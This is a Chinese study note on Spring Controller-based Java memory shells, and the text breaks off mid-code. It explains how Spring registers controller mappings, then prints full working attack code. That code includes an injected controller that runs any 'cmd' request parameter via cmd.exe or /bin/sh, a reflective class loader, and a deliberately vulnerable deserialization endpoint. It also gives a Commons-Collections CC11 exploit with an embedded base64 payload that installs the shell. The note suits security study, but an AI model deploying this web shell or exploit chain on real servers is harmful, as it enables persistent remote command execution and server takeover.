前置知识

在切入正题前,首先需要了解下 Spring 框架中的几个必要的名词术语。

Bean

bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

通俗来讲:

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

注册类时简单分析

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping的initHandlerMethods方法下断点

Java内存马学习笔记-Controller - 图1

这里有一个this.getCandidateBeanNames()它的作用是得到所有的JavaBean。然后会对这个数组进行遍历,用isHandler寻找Controller类然后保存到beanType。

Java内存马学习笔记-Controller - 图2

这里已经找到了我们项目里的Controller类,所以进入了if判断内的语句,调用detectHandlerMethods

Java内存马学习笔记-Controller - 图3

我们看看isHandler干了啥,判断是否有注解RequestMapping或者Controller,来达到一个判断的效果。

Java内存马学习笔记-Controller - 图4

继续跟进getMappingForMethod

Java内存马学习笔记-Controller - 图5

在getMappingForMethod()方法中,会解析Controller类的方法中的注解,从而生成一个与之对应的RequestMappingInfo对象,里面保存了访问Method的url条件

之后将bean,Method,RequestMappingInfo注册进MappingRegistryJava内存马学习笔记-Controller - 图6

最后的registerHandlerMethod()方法就是执行mappingRegistry.register()方法,到这里,url与处理的类之间的映射关系被保存,当我们访问url时,springboot便知道由哪个类中的那个方法处理,如果我们能创建一个RequestMappingInfo,一个处理的类,将他们的映射关系保存进mappingRegistry,内存shell就能建立

Java内存马学习笔记-Controller - 图7

在AbstractHandlerMethodMapping类中还有一个方法也会进入mappingRegistry.register(),就是registerMapping方法,这个方法就是动态添加Controller的接口,在程序过程中,只要调用这个接口,就能注册一个Controller类,从上面的分析过程可以知道,这个接口的使用条件是1,bean实例,2,处理请求的method,3、对应的RequestMappinginfo对象

Java内存马学习笔记-Controller - 图8

写内存马

像上面说的创建一个RequestMappingInfo,一个处理的类,将他们的映射关系保存进mappingRegistry,内存shell就能建立

上面的AbstractHandlerMethodMapping是个抽象类不能直接调用,而RequestMappingHandlerMapping继承了它,因此我们选这个,而它又是一个JavaBean对象

恶意class加载进JVM

  1. BufferedReader r = new BufferedReader(new FileReader("shell.txt"));
  2. String code = r.readLine();
  3. byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);
  4. java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
  5. m.setAccessible(true);
  6. m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.inlighting.util.shell",d, 0, d.length});

这里用了Thread.currentThread().getContextClassLoader()defineClass方法。

看下是什么类Java内存马学习笔记-Controller - 图9

获取上下文环境

这里有好几种方法,这里随便用一种

  1. ServletContext sss = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
  2. WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(sss);

创建RequestMappingInfo对象

定义controller的url和访问方法,生成RequestMappingInfo对象

  1. PatternsRequestCondition url = new PatternsRequestCondition("/yyds");
  2. RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);

RequestMappingHandlerMapping注册controller

使用registerMapping()方法注册

  1. RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
  2. Method mm = (Class.forName("abc").getDeclaredMethods())[0];
  3. rs.registerMapping(info, Class.forName("abc").newInstance(), mm);

以上来自于https://my.oschina.net/u/4587690/blog/4649301的分析。

我们来看一个内存马实例

  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.context.request.ServletRequestAttributes;
  4. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  5. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  6. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  7. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  8. import javax.servlet.http.HttpServletRequest;
  9. import javax.servlet.http.HttpServletResponse;
  10. import java.io.IOException;
  11. import java.io.PrintWriter;
  12. import java.lang.reflect.InvocationTargetException;
  13. import java.lang.reflect.Method;
  14. public class InjectToController {
  15. // 第一个构造函数
  16. public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
  17. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  18. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  19. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  20. // 2. 通过反射获得自定义 controller 中test的 Method 对象
  21. Method method2 = InjectToController.class.getMethod("test");
  22. // 3. 定义访问 controller 的 URL 地址
  23. PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
  24. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  25. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  26. // 5. 在内存中动态注册 controller
  27. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  28. // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
  29. InjectToController injectToController = new InjectToController("aaa");
  30. mappingHandlerMapping.registerMapping(info, injectToController, method2);
  31. }
  32. // 第二个构造函数
  33. public InjectToController(String aaa) {}
  34. // controller指定的处理方法
  35. public void test() throws IOException{
  36. // 获取request和response对象
  37. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  38. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  39. //exec
  40. try {
  41. String arg0 = request.getParameter("cmd");
  42. PrintWriter writer = response.getWriter();
  43. if (arg0 != null) {
  44. String o = "";
  45. java.lang.ProcessBuilder p;
  46. if(System.getProperty("os.name").toLowerCase().contains("win")){
  47. p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  48. }else{
  49. p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  50. }
  51. java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  52. o = c.hasNext() ? c.next(): o;
  53. c.close();
  54. writer.write(o);
  55. writer.flush();
  56. writer.close();
  57. }else{
  58. //当请求没有携带指定的参数(code)时,返回 404 错误
  59. response.sendError(404);
  60. }
  61. }catch (Exception e){}
  62. }
  63. }

注释也写的挺明白了。

攻击

首先环境就是一个普通的commons-collections3.1环境,有一个反序列化点。

环境代码

  1. package com.example.demo.controller;
  2. import com.example.demo.MyObjectInputStream;
  3. import org.springframework.stereotype.Controller;
  4. import org.springframework.ui.Model;
  5. import org.springframework.web.bind.annotation.RequestMapping;
  6. import org.springframework.web.bind.annotation.RequestParam;
  7. import org.springframework.web.bind.annotation.ResponseBody;
  8. import tools.Tools;
  9. import javax.servlet.http.HttpServletRequest;
  10. import javax.servlet.http.HttpServletResponse;
  11. import java.io.ByteArrayInputStream;
  12. import java.io.InputStream;
  13. import java.io.ObjectInputStream;
  14. @Controller
  15. public class CommonsCollectionsVuln {
  16. @ResponseBody
  17. @RequestMapping("/cc11")
  18. public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
  19. String data = request.getParameter("data");
  20. byte[] b = Tools.base64Decode(data);
  21. InputStream inputStream = new ByteArrayInputStream(b);
  22. ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  23. objectInputStream.readObject();
  24. return "Hello,World";
  25. }
  26. @ResponseBody
  27. @RequestMapping("/demo")
  28. public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
  29. return "This is OK Demo!";
  30. }
  31. }

我们把上面写的内存马编译成class文件,再进行base64编码。

我们选用cc11因为这条链可以加载字节码完成攻击,因此就能完整的加载上面的那个内存马恶意类。

字节码

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import org.springframework.web.context.WebApplicationContext;
  7. import org.springframework.web.context.request.RequestContextHolder;
  8. import org.springframework.web.context.request.ServletRequestAttributes;
  9. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  10. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  11. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  12. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  13. import javax.servlet.http.HttpServletRequest;
  14. import javax.servlet.http.HttpServletResponse;
  15. import java.io.IOException;
  16. import java.io.PrintWriter;
  17. import java.lang.reflect.InvocationTargetException;
  18. import java.lang.reflect.Method;
  19. public class InjectToController extends AbstractTranslet {
  20. // 第一个构造函数
  21. public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
  22. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  23. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  24. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  25. // 2. 通过反射获得自定义 controller 中test的 Method 对象
  26. Method method2 = InjectToController.class.getMethod("test");
  27. // 3. 定义访问 controller 的 URL 地址
  28. PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
  29. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  30. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  31. // 5. 在内存中动态注册 controller
  32. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  33. // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
  34. InjectToController injectToController = new InjectToController("aaa");
  35. mappingHandlerMapping.registerMapping(info, injectToController, method2);
  36. }
  37. @Override
  38. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  39. }
  40. @Override
  41. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  42. }
  43. // 第二个构造函数
  44. public InjectToController(String aaa) {}
  45. // controller指定的处理方法
  46. public void test() throws IOException{
  47. // 获取request和response对象
  48. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  49. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  50. //exec
  51. try {
  52. String arg0 = request.getParameter("cmd");
  53. PrintWriter writer = response.getWriter();
  54. if (arg0 != null) {
  55. String o = "";
  56. java.lang.ProcessBuilder p;
  57. if(System.getProperty("os.name").toLowerCase().contains("win")){
  58. p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  59. }else{
  60. p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  61. }
  62. java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  63. o = c.hasNext() ? c.next(): o;
  64. c.close();
  65. writer.write(o);
  66. writer.flush();
  67. writer.close();
  68. }else{
  69. //当请求没有携带指定的参数(code)时,返回 404 错误
  70. response.sendError(404);
  71. }
  72. }catch (Exception e){}
  73. }
  74. }

注意这个类一定要是AbstractTranslet的子类,否则会报错退出,不会进入newInstance

把这个类的字节码base64之后输入到下面。

  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import javassist.ClassClassPath;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.*;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.Field;
  12. import java.util.Base64;
  13. import java.util.HashMap;
  14. import java.util.HashSet;
  15. @SuppressWarnings("all")
  16. public class CC11 {
  17. public static void main(String[] args) throws Exception {
  18. // 利用javasist动态创建恶意字节码
  19. byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQA7woAOAB+CgB/AIAIAIELAIIAgwcAhAcAhQsABQCGBwCHCABlBwCICgAKAIkHAIoHAIsIAIwKAAwAjQcAjgcAjwoAEACQBwCRCgATAJIIAGEKAAgAkwoABgCUBwCVCgAYAJYKABgAlwgAZAsAmACZCwCaAJsIAJwIAJ0KAJ4AnwoADQCgCAChCgANAKIHAKMIAKQIAKUKACQAjQgApggApwcAqAoAJACpCgCqAKsKACoArAgArQoAKgCuCgAqAK8KACoAsAoAKgCxCgCyALMKALIAtAoAsgCxCwCaALUHALYHALcBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExJbmplY3RUb0NvbnRyb2xsZXI7AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABVtYXBwaW5nSGFuZGxlck1hcHBpbmcBAFRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZzsBAAdtZXRob2QyAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAN1cmwBAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBAAJtcwEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBABJpbmplY3RUb0NvbnRyb2xsZXIBAApFeGNlcHRpb25zBwC4BwC5BwC6BwC7BwC8AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAvQEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FhYQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABEV4ZWMBAANjbWQBAAR0ZXN0AQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQABbwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAEYXJnMAEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCHBwC+BwC/BwCLBwDABwCjBwCoBwC2BwDBAQAKU291cmNlRmlsZQEAF0luamVjdFRvQ29udHJvbGxlci5qYXZhDAA5ADoHAMIMAMMAxAEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAxQwAxgDHAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDADIAMkBABJJbmplY3RUb0NvbnRyb2xsZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAMoAywEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BABBqYXZhL2xhbmcvU3RyaW5nAQAKL21hbGljaW91cwwAOQDMAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAA5AM0BAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAA5AM4MADkAYAwAzwDQAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwA0QDSDADTANQHAL4MANUA1gcAvwwA1wDYAQAAAQAHb3MubmFtZQcA2QwA2gDWDADbANwBAAN3aW4MAN0A3gEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADfAOAHAOEMAOIA4wwAOQDkAQACXEEMAOUA5gwA5wDoDADpANwMAOoAOgcAwAwA6wBgDADsADoMAO0A7gEAE2phdmEvbGFuZy9FeGNlcHRpb24BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9QcmludFdyaXRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEAD3JlZ2lzdGVyTWFwcGluZwEAbihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbztMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAIADgAAAAAAAYAAQA5ADoAAgA7AAABBQAJAAgAAABxKrcAAbgAAhIDA7kABAMAwAAFTCsSBrkABwIAwAAGTRIIEgkDvQAKtgALTrsADFkEvQANWQMSDlO3AA86BLsAEFkDvQARtwASOgW7ABNZGQQZBQEBAQEBtwAUOga7AAhZEhW3ABY6BywZBhkHLbYAF7EAAAACADwAAAAqAAoAAAAYAAQAGQATABsAHwAdACsAHwA9ACEASgAjAFwAJQBnACYAcAAnAD0AAABSAAgAAABxAD4APwAAABMAXgBAAEEAAQAfAFIAQgBDAAIAKwBGAEQARQADAD0ANABGAEcABABKACcASABJAAUAXAAVAEoASwAGAGcACgBMAD8ABwBNAAAADAAFAE4ATwBQAFEAUgABAFMAVAADADsAAAA/AAAAAwAAAAGxAAAAAgA8AAAABgABAAAALAA9AAAAIAADAAAAAQA+AD8AAAAAAAEAVQBWAAEAAAABAFcAWAACAE0AAAAEAAEAWQBaAAAACQIAVQAAAFcAAAABAFMAWwADADsAAABJAAAABAAAAAGxAAAAAgA8AAAABgABAAAAMQA9AAAAKgAEAAAAAQA+AD8AAAAAAAEAVQBWAAEAAAABAFwAXQACAAAAAQBeAF8AAwBNAAAABAABAFkAWgAAAA0DAFUAAABcAAAAXgAAAAEAOQBgAAIAOwAAADkAAQACAAAABSq3AAGxAAAAAgA8AAAABgABAAAANAA9AAAAFgACAAAABQA+AD8AAAAAAAUAYQBiAAEAWgAAAAUBAGEAAAABAGMAYAACADsAAAA1AAAAAgAAAAGxAAAAAgA8AAAABgABAAAANwA9AAAAFgACAAAAAQA+AD8AAAAAAAEAZABiAAEAWgAAAAUBAGQAAAABAGUAOgACADsAAAHTAAYACAAAAM24AALAABjAABi2ABlMuAACwAAYwAAYtgAaTSsSG7kAHAIATiy5AB0BADoELcYAkxIeOgUSH7gAILYAIRIitgAjmQAhuwAkWQa9AA1ZAxIlU1kEEiZTWQUtU7cAJzoGpwAeuwAkWQa9AA1ZAxIoU1kEEilTWQUtU7cAJzoGuwAqWRkGtgArtgAstwAtEi62AC86BxkHtgAwmQALGQe2ADGnAAUZBToFGQe2ADIZBBkFtgAzGQS2ADQZBLYANacADCwRAZS5ADYCAKcABE6xAAEAGgDIAMsANwADADwAAABOABMAAAA7AA0APAAaAEAAIwBBACsAQgAvAEMAMwBFAEMARgBhAEgAfABKAJIASwCmAEwAqwBNALIATgC3AE8AvABQAL8AUgDIAFQAzABVAD0AAABcAAkAXgADAGYAZwAGADMAiQBoAGIABQB8AEAAZgBnAAYAkgAqAGkAagAHACMApQBrAGIAAwArAJ0AbABtAAQAAADNAD4APwAAAA0AwABuAG8AAQAaALMAcABxAAIAcgAAADYACP8AYQAGBwBzBwB0BwB1BwB2BwB3BwB2AAD8ABoHAHj8ACUHAHlBBwB2+AAa+QAIQgcAegAATQAAAAQAAQB7AAEAfAAAAAIAfQ==");
  20. // 写入.class 文件
  21. // 将我的恶意类转成字节码,并且反射设置 bytecodes
  22. byte[][] targetByteCodes = new byte[][]{classBytes};
  23. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  24. Field f0 = templates.getClass().getDeclaredField("_bytecodes");
  25. f0.setAccessible(true);
  26. f0.set(templates,targetByteCodes);
  27. f0 = templates.getClass().getDeclaredField("_name");
  28. f0.setAccessible(true);
  29. f0.set(templates,"name");
  30. f0 = templates.getClass().getDeclaredField("_class");
  31. f0.setAccessible(true);
  32. f0.set(templates,null);
  33. InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
  34. HashMap innermap = new HashMap();
  35. LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  36. TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
  37. HashSet hashset = new HashSet(1);
  38. hashset.add("foo");
  39. Field f = null;
  40. try {
  41. f = HashSet.class.getDeclaredField("map");
  42. } catch (NoSuchFieldException e) {
  43. f = HashSet.class.getDeclaredField("backingMap");
  44. }
  45. f.setAccessible(true);
  46. HashMap hashset_map = (HashMap) f.get(hashset);
  47. Field f2 = null;
  48. try {
  49. f2 = HashMap.class.getDeclaredField("table");
  50. } catch (NoSuchFieldException e) {
  51. f2 = HashMap.class.getDeclaredField("elementData");
  52. }
  53. f2.setAccessible(true);
  54. Object[] array = (Object[])f2.get(hashset_map);
  55. Object node = array[0];
  56. if(node == null){
  57. node = array[1];
  58. }
  59. Field keyField = null;
  60. try{
  61. keyField = node.getClass().getDeclaredField("key");
  62. }catch(Exception e){
  63. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  64. }
  65. keyField.setAccessible(true);
  66. keyField.set(node,tiedmap);
  67. Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  68. f3.setAccessible(true);
  69. f3.set(transformer,"newTransformer");
  70. try{
  71. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  72. ObjectOutputStream oos = new ObjectOutputStream(barr);
  73. oos.writeObject(hashset);
  74. oos.close();
  75. // System.out.println(barr);
  76. System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
  77. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
  78. inputStream.readObject();
